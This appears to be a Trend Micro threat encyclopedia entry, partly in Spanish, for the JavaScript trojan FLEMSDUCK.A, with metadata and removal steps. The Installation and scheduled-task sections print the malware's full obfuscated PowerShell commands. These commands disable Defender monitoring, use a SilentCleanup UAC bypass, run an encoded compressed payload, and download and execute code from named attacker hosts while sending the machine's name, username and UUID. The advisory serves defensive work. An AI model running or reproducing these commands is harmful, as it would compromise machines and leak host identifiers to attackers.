Análisis realizado por : Mc Justine De Guzman   
 Plataforma:

Windows

 Riesgo general:
 Potencial de destrucción:
 Potencial de distribución:
 Infección divulgada:
 Revelación de la información:
Bajo
Medio
High
Crítico

  • Tipo de malware
    Trojan

  • Destructivo?
    No

  • Cifrado
     

  • In the Wild:
    Sí

  Resumen y descripción

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  Detalles técnicos

Tamaño del archivo 12,338 bytes
Tipo de archivo JS
Residente en memoria Sí
Fecha de recepción de las muestras iniciales 29 Apr 2020

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

  • "%System%\cmd.exe" /c start /b notepad {malware full path} & powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://t.tr2q.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major)'}"
  • powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://t.tr2q.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major)'}";
  • %System%\cmd.exe" /c echo Set-MpPreference -DisableRealtimeMonitoring 1
  • powershell.exe -w hidden IEx "$v='mail';I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::"FromBase64String"('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')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
  • "%System%\schtasks.exe" /delete /tn Rtsa2 /F
  • "%System%\schtasks.exe" /delete /tn Rtsa1 /F
  • "%System%\schtasks.exe" /delete /tn Rtsa /F

  Soluciones

Motor de exploración mínimo 9.850
Primer archivo de patrones de VSAPI 15.836.06
Primera fecha de publicación de patrones de VSAPI 29 de abril de 2020
Versión de patrones OPR de VSAPI 15.837.00
Fecha de publicación de patrones OPR de VSAPI 30 de abril de 2020

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Reiniciar en modo seguro

[ aprenda más ]

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:  

  • blackball - blackball
  • UOZzaSy3iqH - powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.awc'+'na.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
  • 8AvszOqk1R - powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.tr2'+'q.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
  • euWETvw7X0C - powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Reinicie en modo normal y explore el equipo con su producto de Trend Micro para buscar los archivos identificados como Trojan.JS.FLEMSDUCK.A En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


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